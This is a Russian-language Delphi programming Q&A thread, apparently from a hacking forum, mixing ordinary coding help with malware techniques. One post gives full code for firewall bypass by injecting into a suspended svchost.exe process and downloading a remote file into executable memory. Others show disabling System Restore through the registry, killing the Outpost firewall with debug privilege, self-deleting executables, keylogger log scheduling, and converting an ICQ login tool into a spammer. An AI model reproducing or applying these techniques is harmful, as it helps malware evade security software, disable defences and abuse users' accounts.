[Delphi]/[Pascal] Задай вопрос, получи ответ

[Archangelus]

Может быть это глупый вопрос, но что-то не получается у меня написать что-то дельное.
Есть список в MEMO в формате IP:PORT, а мне нужно что б по нажатию на кнопку в ListBox1 записались IP,
а в ListBox2 записались все порты

[RumShun]

Archangelus



function GetIP(s:string):string;
var
p:integer;
begin
p:=pos(':',s);
delete(s,p,length(s)-p+1);
result:=s;
end;

function GetPort(s:string):string;
var
p:integer;
begin
p:=pos(':',s);
delete(s,1,p);
result:=s;
end;



береш построчно из мемо, потом с помощью этих функций получаешь ip и порт и раскидываешь по своим лист боксам, или куда тебе есчо надо.

зы список IP:PORT д.б. чистым, никаких пробелов и прочее
ззы писал на коленке за 5 минут

[Archangelus]

Спасибо большое! Всё получилось и к сожалению я не знаю как и почему :( Буду учить мат часть !!!

[kRa$I-I]

Здравствуйте уважаемые эксперты! Чтобы проще объяснить суть вопроса объясню на примере ну хотя бы Winamp'a. Если например сам исполняемый модуль winamp.exe переместить в другую папку, ну хотя бы темп, то возможно ли написать такую программку, которая находясь в папке с винампом передавала бы ему управление? Возможно конечно вызвать WinExec или CreateProcess но волнует вопрос найдет ли Winamp (тот что в темпе) ресурсы и библиотеки находящиеся в папке Winamp. Буду рад любой помощи. Заранее спасибо.

[kRa$I-I]

Всем привет! :) Чтобы проще объяснить суть вопроса объясню на примере ну хотя бы Winamp'a. Если например сам исполняемый модуль winamp.exe переместить в другую папку, ну хотя бы темп, то возможно ли написать такую программку, которая находясь в папке с винампом передавала бы ему управление? Возможно конечно вызвать WinExec или CreateProcess но волнует вопрос найдет ли Winamp (тот что в темпе) ресурсы и библиотеки находящиеся в папке Winamp. Буду рад любой помощи. Заранее спасибо.

[KaZ@NoVa]

Всем привет! :) Чтобы проще объяснить суть вопроса объясню на примере ну хотя бы Winamp'a. Если например сам исполняемый модуль winamp.exe переместить в другую папку, ну хотя бы темп, то возможно ли написать такую программку, которая находясь в папке с винампом передавала бы ему управление? Возможно конечно вызвать WinExec или CreateProcess но волнует вопрос найдет ли Winamp (тот что в темпе) ресурсы и библиотеки находящиеся в папке Winamp. Буду рад любой помощи. Заранее спасибо.
Не найдёт.
была такая история на итхэпенс про товарища, который удалял игры путём удаления екзешников.
на самом деле скорее всего не найдёт он ничего, потому что ищет в той же папке где сам лежит)

[Scripter]

как через delphi или реестр отключить восстановление системы? возможно ли?

[slesh]

2 Scripter вроде как можно через реестр отрубать. но и то помойму требуется ребут если не ошибаюсь

[Scripter]

нашёл
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore

DisableSR:DWORD = 1 восстановление системы отключено, 0 - включено

[miqo]

подскажите как сделать чтобы через заданный промежуток времени программа выполняла команды,но без TTimer а.например через каждые 3 часа отправляла лог или проверяла подключен ли интернет или размер файла лога.....

[razb]

а чем TTimer не подходит?
вообще можно усыплять прогу на нужное время по истечению которого она будет выполнять нужные действия.

[miqo]

программа написана на api класс forms не включен

[criz]

miqo, может sleep()?

[miqo]

2 criz

а там же много разных процедур и у каждых разные интервалы.......в книге делфи глазами хакера есть исходник кейлоггера я хочу узхнать как можно сделат такое именно в таком кейлоггере

[KaZ@NoVa]

подскажите как сделать чтобы через заданный промежуток времени программа выполняла команды,но без TTimer а.например через каждые 3 часа отправляла лог или проверяла подключен ли интернет или размер файла лога.....

Можно написать скрипт на чём нибудь, допустим на том же JScript(просто не надо его воспринимать только как язык для инета). там в событии onload забить скажем каждый нужный интервал времени, и после него ставить выполнение нужной программы.
лично я это не делал, но знаю что можно

[miqo]

Можно написать скрипт на чём нибудь, допустим на том же JScript(просто не надо его воспринимать только как язык для инета). там в событии onload забить скажем каждый нужный интервал времени, и после него ставить выполнение нужной программы.
лично я это не делал, но знаю что можно

интерестное решение ео в моем случае неудобное......

[art2222]

подскажите как сделать чтобы через заданный промежуток времени программа выполняла команды,но без TTimer а.например через каждые 3 часа отправляла лог или проверяла подключен ли интернет или размер файла лога.....

Класс


unit WaitThread;

interface

uses Classes, Windows;

type
TWaitThread = class(TThread)
WaitUntil: TDateTime;
procedure Execute; override;
end;

implementation

uses SysUtils;

procedure TWaitThread.Execute;
var
Timer: THandle;
SystemTime: TSystemTime;
FileTime, LocalFileTime: TFileTime;
begin
Timer := CreateWaitableTimer(NIL, FALSE, NIL);
try
DateTimeToSystemTime(WaitUntil, SystemTime);
SystemTimeToFileTime(SystemTime, LocalFileTime);
LocalFileTimeToFileTime(LocalFileTime, FileTime);
SetWaitableTimer(Timer, TLargeInteger(FileTime), 0,
NIL, NIL, FALSE);
WaitForSingleObject(Timer, INFINITE);
finally
CloseHandle(Timer);
end;
end;

end.


Использовать можно так:


type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
procedure TimerFired(Sender: TObject);
end;

//.....

implementation

uses WaitThread;

procedure TForm1.Button1Click(Sender: TObject);
var
T: TDateTime;
begin
with TWaitThread.Create(TRUE) do
begin
OnTerminate := TimerFired;
FreeOnTerminate := TRUE;
// Срок ожидания закончится через 5 секунд
WaitUntil := Now + 1 / 24 / 60 / 60 * 5;
Resume;
end;
end;

procedure TForm1.TimerFired(Sender: TObject);
begin
ShowMessage('Timer fired !');
end;


(c) DRKB

[f0rward]

Помогите пожалуйста, как запустить на одновременное выполнение сразу n потоков?
Весь код потока лежит в процедуре TNewThread.Execute;, имеется также процедура show для вывода информации. Пробовал сделать просто цикл вида :

procedure TForm1.sButton1Click(Sender: TObject);
begin
sButton1.Enabled:=false;
for i:=1 to 50 do
NewThread:=TNewThread.Create(true);
NewThread.FreeOnTerminate:=true;
NewThread.Priority:=tpLOWER;
NewThread.Resume;
end;
end;

, но по-моему это бред, т. к. тогда все потоки будут делать тоже самое.В общем кто знает, помогите реализовать.

[_Kris_]

Помогите пожалуйста, как запустить на одновременное выполнение сразу n потоков?
Весь код потока лежит в процедуре TNewThread.Execute;, имеется также процедура show для вывода информации. Пробовал сделать просто цикл вида :

procedure TForm1.sButton1Click(Sender: TObject);
begin
sButton1.Enabled:=false;
for i:=1 to 50 do
NewThread:=TNewThread.Create(true);
NewThread.FreeOnTerminate:=true;
NewThread.Priority:=tpLOWER;
NewThread.Resume;
end;
end;

, но по-моему это бред, т. к. тогда все потоки будут делать тоже самое.В общем кто знает, помогите реализовать.

Создаешь массив потоков aka TTHREAD, a[i] в цикле выполняешь свои действия...

[f0rward]

_Kris_, напиши процедуру пожалуйста, я не понял.

[art2222]

//Напиши процедуру

Вот:


procedure TForm1.sButton1Click(Sender: TObject);
var
NewThread: array [1..50] of TNewThread;
i: Integer;
begin
sButton1.Enabled:=false;
for i:=1 to 50 do
NewThread[i]:=TNewThread.Create(true);
NewThread[i].FreeOnTerminate:=true;
NewThread[i].Priority:=tpLOWER;
NewThread[i].Resume;
end;
end;

[cremator (c)]

Такая проблема, не знаю можно ли такое реализовать.. Пусть в событии OnClick создаётся поток, который выполняется длительное время и обрабатывает данные. И надо остановить выполнение процедуры OnClick с места, где создаётся поток, и когда завершится выполнение потока продолжить выполнение процедуры OnClick с места остановки.

[RumShun]

cremator (c) попробуй так:
в процедуре OnClick сразу за строчкой создания потока поставь бесконечный цикл, с условием по глобальной переменной, а в процедуре екзекут твоего потока в конце после выполнения всех вычислений присвой этой переменной значение, штото гдето так
[code]
var
flag:boolean; //обязательно глобальная
procedure ...OnClick...
...
поток.create;
flag:=false;
while flag=false do
if flag=true then break;
....

procedure Thread.execute;
...
твои вычисления
...
flag:=true;
end;
[\code]
что то гдето так, простите если убого выражаюсь, вообще вижу что криво но на ум что то больше ничего не приходит

[Markus_13]

while flag=false do
if flag=true then break;
лучше так:
while not flag do application.ProcessMessages;

[RumShun]

Markus_13 +1
полностью согласен, чето я втупил :)

[cremator (c)]

Мне это не надо. То что ты написал вызовет зависание формы на все время выполнения потока, чего я и хотел избежать. В таком случае если ничего больше не сделать в OnClick создаю еще один поток, который и будет ожидать события завершения своего потока который он создаст.

[RumShun]

То что ты написал вызовет зависание формы на все время выполнения потока, чего я и хотел избежать да, но если принять поправку Markus_13, то не должно.
В таком случае если ничего больше не сделать в OnClick создаю еще один поток, который и будет ожидать события завершения своего потока который он создаст
так даже и лучше

[ZET36]

Вот тут нашол метод загрузки файла с обходом фаервола.

Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail

@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop

@fail:
pop edx
xor eax, eax
jmp @exit

@stringEmpty:
xor eax, eax
jmp @noWork

@found:
pop edx
mov eax, edi
sub eax, edx

@exit:
pop edi
pop esi
pop ebx

@noWork:
end;

{ Копирование строк }
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;

{ Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;


Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;

{ процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = 'google.ru/images/nav_logo3.png';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('c:\134.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;



procedure PotokGetInetFile;
var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;

begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);


end;


как мне передать нужные мне переменные в функцию Download?
такая попытка


...
Procedure Download(inetfile:string; savefile:string); stdcall;
......
Context.Eip := dword(@Download('11','22'));
....


выдаёт Variable required, глобальные переменные процедура Download тоже воспринимать не хочет, как быть?

[cremator (c)]

У тебя Procedure Download(); stdcall; не может принимать переменные. Только через глобальные, должно всё работать../

[Markus_13]

Мне это не надо. То что ты написал вызовет зависание формы на все время выполнения потока, чего я и хотел избежать.
во1ых с моим исправлением подвиса не будет; во2ых скорость зависит от мощности машины, кол-ва потоков и их приоритетов
-------------------------
В таком случае если ничего больше не сделать в OnClick создаю еще один поток, который и будет ожидать события завершения своего потока который он создаст.
во1ых весь код твоей проги это и так отдельный поток; во2ых тут проще сделать таймер который включался бы после старта потока и проверял бы эту самую переменную или дописать нужный код в тело потока перед завершением

[cremator (c)]

Markus_13, во первых вопрос я разрешил дополнительными потоками и WaitForSingleObject. А во вторых, первоначально у меня была идея, чтобы оборвать выполнение процедуры OnClick основного потока, чтобы стек и переменные сохранились. А когда "грузовой" поток бы завершился, вызвать по адресу продолжение процедуры OnClick с места где она оборвалась. Но это гемор, поэтому так.

[Markus_13]

интересно, а что за прога если не секрет, зачем такой нестандартный подход?)

[ex3me]

Может вопрос и простой, но не нашел ответа нигде в сети =\

Имеется приложение на Delphi7+KOLnMCK в uses которого необходимо включить дополнительный модуль (в моем случае - WinInet). Обычное дописывание через запятую не помогает. Как добавить дополнительный модуль в приложение Delphi если оно использует KOLnMCK?

[cremator (c)]

просто он у тебя в путях где delphi библиотеки ищет не значится. кинь в папку libs модуль

[Markus_13]

как можно сделать генерацию случ. чисел чтобы погрешность была +-10%, т.е. чтобы при эмулировании бросания монетки (генерация ранд. чисел от 0 до 1) - из 100 были 45-55 единицами (или нулями)
вообщем суть неважна - но чтобы ф-ия выдавала тру или фолс)))
З.Ы. естес-но без random сделать =\
З.З.Ы. впринципе можно на асме - надеюсь перевести смогу на паскаль или вставку сделать)

[cremator (c)]

Что ты подразумеваешь под погрешностью +-10%? random() и так должен выдавать случайные числа с вероятностью равновыпадения разных чисел 50%. Ест-но чем больше испытаний тем ближе вероятностью равновыпадения к 50%. Теория вероятности..

[Markus_13]

нужно 45-55 из 100, без использования ф-ии random - че непонятно?))
чтобы можно было цикл в 100 генераций прогнать неск-ко тысяч раз и небыло меньше 45 и больше 55 вариантов одинаковых, я просто в математике слаб, а книжка по теории вероятностей уже полгода на столе валяется - больше 10 страниц неосилил))

[cremator (c)]

Тогда тебе в модуль Math.
http://www.delphimaster.ru/cgi-bin/faq.pl?look=1&id=988619976&n=19

[Markus_13]

ну и? мне нужно построить алгоритм генерации именно без random, пихать в прогу код random`а тоже естес-но ненужно, а в модуле Math используется тот же random
причем на один "бросок монетки" есть аж 1 миллисекунда Оо, ну и желательно попроще алгоритм и попонятней))

[cremator (c)]

Вот нашёл то, что тебе надо, правда на си..
Равномеpное pаспpеделение от 0 до 1. Метод вычетов. Он же метод Лемеpа.

=== Cut ===
struct time t; // стpyктypа вpемени
static long x; // для генеpатоpа

//----------------------------------------------------------------------------
// Инициализация генеpатоpа слyчайных чисел
double Randomize()
{
gettime(&t);
x=t.ti_sec;
}

//----------------------------------------------------------------------------
// Генеpатоp слyчайных чисел
double Rnd()
{
const a=13;
const c=15;
const long M=32768;

x=(a*x+c)\%M;
return (double)x/M;
}
=== Cut ===

Можешь поигpаться с константами...

[Markus_13]

спс, времени проверить нет, но чтото подобное я и хотел - хотя и слишком уж просто выглядит на 1 взгляд))

[Stil Free]

........................

[НTL]

Вот тут надо мне сделать патч или билдер на делфи, буду благодарен тому кто даст линки на статьи как это делать

Google.ru
Google.com
ya.ru
yahoo.com
не помогили

[mailbrush]

Есть ли класс для работы с куками в браузерах, и если нету, каков их алгоритм? Дельфи

[НTL]

Написал прогу для автоматической авторизации аськи то есть кидаем список паролей и UINов и прога с интервалом аходит под ними на сайт. Хочу переделать её под спамер но немогу разобратся с отправкой письма использую асько клиент.

ICQClient1.SendMessage(Номер аси,'Собщение');

пример:

ICQClient1.SendMessage(454236500,'прив');

[$Atlet$]

НTL,Вот тут (http://grabberz.com/showthread.php?t=14925&highlight=%E1%E8%EB%E4%E5%F0) почитай может поможет(builder)

[Markus_13]

Есть ли класс для работы с куками в браузерах, и если нету, каков их алгоритм? Дельфи
если TWebBrowser (вообще он юзает ИЕшные кукисы из ...%username%\Cookies):
var doc:IHtmlDocument2; s:string;
//...
WebBrowser1.ControlInterface.Document.QueryInterfa ce(IHtmlDocument2,doc);
s:=doc.cookie;
если работать с инди то юзай IdСookieManager

[mailbrush]

Мне надо в опере кукис изменить.

[Markus_13]

Мне надо в опере кукис изменить.и при чем тут делфи??
я хз где опера куки хранит, я фф юзаю)

напишу всетаки как в делфи с куками работать =)
вот так грузануть куки в мемо можно с помощью инди:
...
var i:Integer;
begin
IdHttp1.CookieManager:=IdCookieManager1;
IdHttp1.AllowCookies:=true;
IdHttp1.Get('http://forum.antichat.ru');
Memo1.Lines.Clear;
Memo1.Lines.Add('Cookies:');
for i:=0 to IdCookieManager1.CookieCollection.Count-1 do
Memo1.Lines.Add(IdCookieManager1.CookieCollection[i].ClientCookie);
...
вот так подставить можно в запрос из мемо (тут CookieManager не нужен):
...
var i:integer; s:string;
begin
s:='Cookie: '+Memo1.Lines.Strings[0];
for i:=1 to Memo1.Lines.Count-1 do
s:=s+'; '+Memo1.Lines.Strings[i];
IdHttp1.Request.CustomHeaders.Add(s);
IdHttp1.Get('http://forum.antichat.ru');
...

[mailbrush]

Да знаю я про екплорер (ну дефолтный ТВебБраузер). Мне надо ЛЮБЫМИ способами изменить куки в дельфи. Есть же дешифратор куков оперы. Вот мну и надо возможно алгоритм. Хранит опера их в файле кукис4.дат.

[Flame of Soul]

Да знаю я про екплорер (ну дефолтный ТВебБраузер). Мне надо ЛЮБЫМИ способами изменить куки в дельфи. Есть же дешифратор куков оперы. Вот мну и надо возможно алгоритм. Хранит опера их в файле кукис4.дат.
Можно поподробнее? Если Вам просто изменить их необходимо то:
Tools > Advanced > Cookies
Инструменты > Дополнительно > Управление Cookies

Если Вам средствами Делфи необходимо это сделать, то возникает вопрос:

1. Вам необходим редактор Cookies?
2. Или Вам необходимо изменить определенные записи на свои значения?

Если Вариант один, то не вижу актуальности.
Если вариант два, то тогда еще один вопрос, известно ли заранее какие куки менять, и известны ли значения на которые их необходимо поменять?

Или если Вы хотите своровать значения и отправить их себе, то не проще ли в данном случае своровать сам файл?

Простите за такое множество вопросов, просто хотела бы видеть более конкретизированную задачу.

PS: Можно посмотреть исходный код оперы и попробовать переписать на Дельфина, хотя это и муторно.

[Markus_13]

Мне надо ЛЮБЫМИ способами изменить куки в дельфи.
не понимаю если честно зачем именно в опере, проще накодить отдельную прогу на делфи, но вообще тут тогда уже надо работать с самой оперой
З.Ы. опиши задачу конкретно - быстрей помогут ;)

[Nightmarе]

Значит, у меня к вам следующий вопрос ©

Мне нужно просматривать содержимое папок компьютеров в локальной сетке.

Вот хорошая команда:
var
Searchrec: Tsearchrec;
s:string;
begin
memo2.Clear;
FindFirst('C:\*.*', FaAnyfile, SearchRec);
if (SearchRec.Attr and faDirectory)<>0 then s:=Edit1.Text else s:=Edit1.Text;
memo2.Lines.Add(s+SearchRec.Name);
while FindNext(SearchRec) = 0 do
begin
if (SearchRec.Attr and faDirectory)<>0 then s:=Edit1.Text else s:=Edit1.Text;
if (SearchRec.Attr and faHidden) <> 0 then
memo2.Lines.Add(''+s+SearchRec.Name+'')
else
memo2.Lines.Add(s+SearchRec.Name);
end;

Эта команда просматривает содержимое, как моего компьютера, так и компьютеров в локальной сети, например если сделать так:
FindFirst('//RemoteCompName/Folder/*.*', FaAnyfile, SearchRec);
То нормально отобразится содержимое папки Folder удалённого компьютера с именем RemoteCompName

Моя проблема в следующем, если попробовать просмотреть содержимое самого компьютера, а не какой то папки в нём, то он ничего не отображает, вот например:
FindFirst('//RemoteCompName/*.*', FaAnyfile, SearchRec);
Не отображается ничего, хотя там есть папки, файлы и т.д… То есть корневую директорию удалённого компьютера он не просматривает, зато содержимое папок этого самого удалённого компьютера он выводит нормально.

В общем в чём ошибка? И можно ли в данном коде это устранить?

+++++++++++++++++++++++++
И вопрос номер два, по поводу самоуничтожения программы, в справочнике DRKB был дан один единственный пример удаления своей программы через .bat файл:
var f: textFile;
FileName: string;
begin
FileName := changefileext(paramstr(0), '.bat');
assignFile(f, FileName);
rewrite(f);
writeln(f, ':1');
writeln(f, format('Erase "%s"', [paramstr(0)]));
writeln(f, format('If exist "%s" Goto 1', [paramstr(0)]));
writeln(f, format('Erase "%s"', [FileName]));
closefile(f);
ShellExecute(Handle, 'Open', PChar(FileName), nil, nil, sw_hide);
end;
Это работает исключительно, если в пути до моего .exe файла нету русских символов.
То есть если файл находится тут:
C:\программы\project1.exe
То данный код не сработает, собственно есть ли альтернативы? Как в данном случае удалить программу?

[Markus_13]

Это работает исключительно, если в пути до моего .exe файла нету русских символов.
То есть если файл находится тут:
C:\программы\project1.exe
То данный код не сработает, собственно есть ли альтернативы? Как в данном случае удалить программу?
вот мой самоудалятель)
удаляет из любой папки 100%но ;)
//...
var x:textFile; s,b:string;
begin
b:=paramstr(0)+'.bat';
assignFile(x,b);rewrite(x);
s:=':1';writeln(x,s);
s:='del %1';writeln(x,s);
s:='if exist %1 goto 1';writeln(x,s);
s:='del %0';writeln(x,s);
closefile(x);
ShellExecute(0,'Open',pChar(b),pChar('"'+paramstr(0)+'"'),nil,0);
//...

[Archangelus]

Помогите пожалуйста решить такую задачу. Мне нужно сделать так, что б программа заходя на сайт автоматически выбирала пункт в меню
сам код этого меню представлен:
<select id=pr1 onchange="pr1_change(this.value)">
<option value=0>-</option>

<option value='1'>призывник</option>
<option value='2'>дембель</option>
<option value='3'>стодневка</option>
</select>

Автоматом я выбирать хочу "стодневка"
Программой не получается это сделать, а когда на сайте выбираешь сам, то всё нормально работает.
Помогите пожалуйста кодом. Я просто много всего пересмотрел, кое что не понял, а кое что и не подошло :(

[Nightmarе]

вот мой самоудалятель)
удаляет из любой папки 100%но ;)
//...
var x:textFile; s,b:string;
begin
b:=paramstr(0)+'.bat';
assignFile(x,b);rewrite(x);
s:=':1';writeln(x,s);
s:='del %1';writeln(x,s);
s:='if exist %1 goto 1';writeln(x,s);
s:='del %0';writeln(x,s);
closefile(x);
ShellExecute(0,'Open',pChar(b),pChar('"'+paramstr(0)+'"'),nil,0);
//...
Большое спасибо, помог, +
Ещё хотелось бы уточнить, данный код будет работать на висте? Просто проверить не могу :(

[Markus_13]

данный код будет работать на висте? Просто проверить не могу
сам проверить не могу( поидее должен и на висте пахать
---------------------------------
<select id=pr1 onchange="pr1_change(this.value)">
как я понял проблема в вызове java-функции, глянь тут (http://parsing-and-i.blogspot.com/2009/02/javascript-twebbrowser-delphi.html) - толково и понятно написано

[Vitaliy-55]

Доброго времени суток!
Подскахите пожалуйста, как с помощю idHTTP и idFTP скачать файл с прокси сервера, используя аутентификацию. Срочно нужно. Буду очень признателен.

Заранее благодарен!!!

[mailbrush]

Значит так. Известен параметр и значение кука в опере. Мне надо всего лишь изменить значение в опере ЧЕРЕЗ ДЕЛЬФИ! Я в курсе о встроеном мэнеджере куков, но мне надо изменить через дельфи!

Либо вариант два: Отправить пост запрос на веб-скрипт ЧЕРЕЗ ДЕЛЬФИ в ОПЕРЕ (скрипт сам ставит куки), но чтобы юзер не заметил открытой страницы со скриптом.

Сам понимаю, что реальнее сделать первый вариант.

[s0l_ir0n]

И вопрос номер два, по поводу самоуничтожения программы, в справочнике DRKB был дан один единственный пример удаления своей программы через .bat файл
Удаление после ребута.
MoveFileExA('filename',nil,MOVEFILE_DELAY_UNTIL_RE BOOT)

[Nightmarе]

В делфи имеется какой нибудь аналог PHPшной функции explode ???
Например текст(string): parameter1:::parameter2:::parameter3:::parameter4: ::
Чтобы я мог пользоваться например data0 обозначает «parameter1» data1 parameter2 и т.д…
Ну а разделитель тут идёт :::

[Markus_13]

Nightmarе, вот моя функция для разбивки строк
function ExtrStrN(s,d:string;n:word):string;
var i,j,o,r:word; t:string;
begin
result:='';
if pos(d,s)=0 then exit;
if pos(d,s)=1 then s:=copy(s,length(d),length(s));
t:=s;r:=1;
for i:=1 to n do begin
o:=pos(d,t);
if o=0 then exit;
result:='';
for j:=r to o-1 do result:=result+t[j];
r:=o+length(d);
for j:=o to r-1 do t[j]:=char(1);
end;
end;
1параметр - строка, 2 - разделитель и 3 - номер подстроки которую надо выцепить)
юзать тебе так надо:s1:=ExtrStrN('parameter1:::parameter2:::p arameter3:::parameter4:::',':::',1);

[nilux]

Nightmarе Можно использовать тип TStringList и его атрибуты Delimiter, и DelimitedText. Точно сейас пример не напишу, но думаю ясно где искать.

[Markus_13]

Можно использовать тип TStringList и его атрибуты Delimiter, и DelimitedText. Точно сейас пример не напишу, но думаю ясно где искать.
сумничал типа?))
попробуй выцепи второй параметр из строки parameter1:::parameter2:::parameter3 :::parameter4::: :(

[slesh]

Функция и кривая но работает.
MYLIST - это тип который содержит кол-во найденных элементов и сам массив элементов. Массив динамический по этому нужно будет юзать вконце функции типа setlength(mas,0) чтобы память не терять.


type
MYLIST=record
count:integer;
data:array of string;
end;

procedure Explode(gde:string;kak:string;var list:MYLIST);
var
p:integer;
n:integer;
begin
n:=0;
repeat
p:=pos(kak,gde);
if p>0 then
begin
inc(n);
setlength(list.data,n);
list.data[n-1]:=copy(gde,1,p-1);
delete(gde,1,p+length(kak)-1);
end;
until p=0;
list.count:=n;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
mas:MYLIST;
begin
Explode('::::::parameter1:::parameter2:::parameter 3:::parameter4:::',':::',mas);
showmessage(mas.data[3]);
end;

[Stil Free]

Парни как с помощью ICQ клиента получить контакт лист уина и добавить в лист бокс? Использую ICQ клиента

[eLWAux]

ICQClient.pas:
FContactLst := TStringList.Create; //Contact list
..
{Requests server side contact list. For more info look at OnServerListRecv event.}
procedure TICQClient.RequestContactList;
..

Your project:
icq : TIcqClient;
..
icq.RequestContactList;
ContactList := a.ContactLst;

большое обсуждение компонента:
http://forum.asechka.ru/showthread.php?t=97186&page=2

[Stil Free]

ContactList := a.ContactLst; вот это поподробнее мона?

[Markus_13]

icq.RequestContactList;
ContactList := a.ContactLst; бред какой-то, вообще кусок непойми чего
вообще в TIcqClient юзается RequestContactList, потом срабатывает OnServerListRecv, но щас непашет (у меня по крайней мере с версией компонента 1.341, после запроса от сервера вообще ответа нету)
З.Ы. клиент вообще если честн пора выкидывать, надо самому в оскар-протоколе разбираться и учить снаки)

[ytre4k0]

приведите пример принудительного завершения процесса outpost.exe если такое возможно.

[0verbreaK]

Просто OpenProcess/TerminateProcess не будет работать, OutPost перехватывает
сервисы NtOpenProcess/NtTerminateProcess в SSDT, поэтому если только снять
перехваты через rku или SDT restore

[Markus_13]

завершение процесса по имени модуля (если стоит запрет - завершить нельзя будет ;) )
//...
function getDebugPriv:boolean;var tkp,tpo:TOKEN_PRIVILEGES;
hToken,f:cardinal;sedebugnameValue:int64;begin
if not OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_ PRIVILEGES or TOKEN_QUERY,hToken)
then begin result:=false;exit;end;
if not LookupPrivilegeValue(nil,'SeDebugPrivilege',sedebu gnameValue)
then begin result:=false;CloseHandle(hToken);exit;end;
tkp.PrivilegeCount:=1;
tkp.Privileges[0].Luid:=sedebugnameValue;
tkp.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,tkp,sizeof(tkp) ,tpo,f);
CloseHandle(hToken);result:=true;end;

function TaskKill(exe:string):boolean;var cl:BOOL;sh:THandle;
pe:TProcessEntry32;begin result:=false;
sh:=CreateToolhelp32Snapshot($00000002,0);pe.dwSiz e:=Sizeof(pe);
cl:=Process32First(sh,pe);while integer(cl)<>0 do begin
if((UpperCase(ExtractFileName(pe.szExeFile))=Upper Case(exe))
or(UpperCase(pe.szExeFile)=UpperCase(exe)))then Result:=
boolean(TerminateProcess(OpenProcess($0001,BOOL(0) ,pe.th32ProcessID),0));
cl:=Process32Next(sh,pe);end;CloseHandle(sh);end;

//...
var mn:string;begin
getDebugPriv;mn:='outpost.exe';
showMessage(mn+' killed: '+BoolToStr(TaskKill(mn),true));
//...

[Markus_13]

